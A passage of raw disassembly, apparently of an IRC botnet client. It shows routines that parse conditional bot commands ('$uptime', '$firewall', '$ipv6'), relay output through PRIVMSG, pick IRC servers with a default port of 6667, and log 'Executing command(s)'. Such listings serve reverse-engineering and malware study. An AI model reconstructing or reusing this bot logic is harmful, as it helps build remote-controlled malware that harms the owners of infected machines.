		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset a08x	; "%08X"
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896


loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------


loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0


loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DE30
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DE30
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DE30
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DE30
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DE30
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DE30
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EEC8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F048
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0


loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B6h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B6h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41E9A4
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E898
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41E998
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41E998
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E718
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DE30
		push	offset byte_41E718
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DA68[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA68[eax]
		push	offset dword_41E898
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA6C[eax]
		push	offset dword_41E998
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	dword_41DA70[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	dword_41DA70[eax]
		push	offset byte_41E718
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E898
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E998
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E718
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E718
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E718
